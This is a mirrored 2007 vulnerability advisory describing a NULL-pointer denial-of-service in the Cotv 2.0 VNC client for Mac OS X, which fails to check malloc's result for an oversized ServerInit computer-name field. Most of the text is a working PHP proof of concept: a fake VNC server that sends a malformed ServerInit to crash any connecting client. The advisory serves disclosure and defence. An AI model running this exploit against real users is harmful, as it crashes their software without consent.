Lucene search
K

cotv2-dos.txt

🗓️ 06 Feb 2007 00:00:00Reported by poplixType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Cotv 2.0 VNC client for Mac vulnerable to DOS due to lack of ServerInit packet validatio

Code
`hi,  
i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at http://sourceforge.net/projects/cotvnc/ is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets.  
A ServerInit packet contains the server's computer name and its size in the following format:  
[...]<computer-name-size><computer-name>  
where:   
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name  
and  
computer-name is a variable size array of bytes rapresentig the computer name  
  
when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory.   
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.  
  
a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)  
  
hope it helps,  
cheers  
-poplix  
  
  
  
  
# BOF  
<?  
$port = "5900";  
  
  
$BadServerInit=  
"\x04\x00". // fb-width  
"\x03\x00". // fb-hight  
"\x20". // bits per pixel  
"\x18". // depth  
"\x00". // big-endian flag  
"\x01". // true-color flag  
"\x00\xff\x00\xff\x00\xff". // r-g-b max  
"\x10\x08\x00". // r-g-b shift  
"\x00\x00\x00". // padding  
"\xff\xff\xff\xff". // computer-name size  
"DIE_PLZ"; // computer-name  
  
  
$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);  
socket_bind($ser,"0.0.0.0", $port);  
  
socket_listen($ser, 5);  
  
print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference  
02-02-2007 poplix [@] papuasia.org  
listening on $port ...\n";  
  
$cotv = socket_accept($ser);  
print "client connected\n";  
  
socket_write($cotv, "RFB 00 3.008\n");  
while($i=socket_read($cotv, 1024))  
if(substr($i,0,6) == "RFB 00") break;  
  
  
print "protocol has been negotiated\n";  
  
socket_write($cotv, "\x00\x00\x00\x01");  
while($i=socket_read($cotv, 1024))   
if(ord($i[0])==0 || ord($i[0])==1)break;  
  
print "sending expl...\n";  
  
socket_write($cotv, $BadServerInit);  
  
  
socket_close($cotv);  
  
socket_close($ser);  
  
print "done\n";  
?>  
# EOF  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2007 00:00Current
7.4High risk
Vulners AI Score7.4
29